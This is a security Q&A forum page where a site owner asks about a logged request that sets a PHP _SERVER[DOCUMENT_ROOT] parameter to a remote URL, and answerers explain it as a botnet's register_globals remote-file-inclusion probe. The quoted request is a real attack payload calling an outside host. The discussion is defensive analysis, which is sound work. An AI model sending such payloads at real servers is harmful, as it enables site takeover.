Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

Someone in Hungary tried something odd recently:

 /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt?

This is the partial URL from my log, showing the page they went to. They gave my site's URL as the referrer.

What, if anything, would this kind of access do to a vulnerable server?

Thanks for any info. 

share|improve this question
    
Depends on what kind of code you are running, but most likely will do nothing. –  sharp12345 Apr 6 '13 at 11:30
3  
This looks like an attempt to exploit registerglobals –  Hendrik Brummermann Apr 6 '13 at 15:37
add comment

3 Answers

up vote 5 down vote accepted

As @HendrikBrummermann already pointed out in the comments, it was an attempt to exploit register_globals on a PHP enabled web server.

The server making the request that ended up in your web server's logs, so it turned out, was merely an infected web server running in zombie mode, running a stealth bot checking for possible attack vectors on unsuspecting web servers throughout Internet on behalf of larger botnet, controlled through a LeaseWeb B.V., Netherlands hosted command and control server with an IP of 87.255.51.229 hosting hundreds of suspicious domains. According to Spamhaus CBL, the server with an IP 94.199.51.7 located in Budapest, Hungary was infected with Hermes trojan:

Hermes is a banking trojan aimed to steal credentials for online banking accounts. It spreads through hijacked websites (drive-by exploits) and malicious email attachments.

I've been analyzing this botnet's command and control IP a bit, and it is running a VNC Remote Desktop on port 5900, meaning it's also controlled from a remote location that is unknown to us. But that's beyond the point, as it's quite normal for such criminal networks to simply switch to another hosting company, if and when the one they rely on now is required by law to take action. As hosting companies don't particularly like to take action until they absolutely have to, this might not be on the top of their to-do list. What will more likely happen is that the botnet's current IP will be marked as blacklisted in too many RBLs to feel comfortable operating from (live status), and move its command and control to another hosting company.

So, in short, the suspicious line in your web server's logs was just one of the attack vectors that such botnets would be scanning for, looking for ways to exploit web servers. If the takeover was successful, the next person that opened your web page would've been redirected to the exploited zombie server in Budapest, Hungary and the botnet would've known your web server was thus exploitable by checking the referral string. However, your web server was obviously not the low hanging fruit they were hoping to exploit this easily, at least not through this particular PHP security hole. Botnet cares not and has moved on to scanning thousands of other hosts by the time you finished reading my last sentence.

Just another day on the WWW. ;)

share|improve this answer
add comment

According to URL he things you are running PHP site (_SERVER variable). The only effect is that you will have defined _SERVER[DOCUMENT_ROOT] INSIDE _GET variable.

Array
(
    [_GET] => Array
        (
            [_SERVER] => Array
                (
                    [DOCUMENT_ROOT] => http://94.199.51.7/readme.txt?
                )

        )
share|improve this answer
1  
OK, but the variable name is not being itself evaluated by PHP as far as I know. –  Funnelcake Apr 6 '13 at 13:44
1  
Yes sure, but as sharp12345 mentioned it also depends on the code, I saw many times that some one processed _GET or _POST regardless of whether they contain only correct data. And I only show what effect it will have, I didn't mention that it will run something :) –  pin007 Apr 7 '13 at 5:38
add comment

Actually the readme.txt from this server is google advertising ;-)

But if the register globals exploit would have been working, your website redirects to this readme.

share|improve this answer
    
That's just an initial landing page that serves as a detection mechanism for successfully exploited servers, and I highly doubt it's where attacks are controlled from. It's more probable that's just another exploited web server infected with an automated crawler (botnet), checking random web server IPs for ways of exploiting them. If some web server is so easily exploitable, then later changing that value to any other is equally as easy. This Spamhaus CBL confirms my suspicions. It was updated today from unknown to Hermes trojan. –  TildalWave Apr 7 '13 at 1:34
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.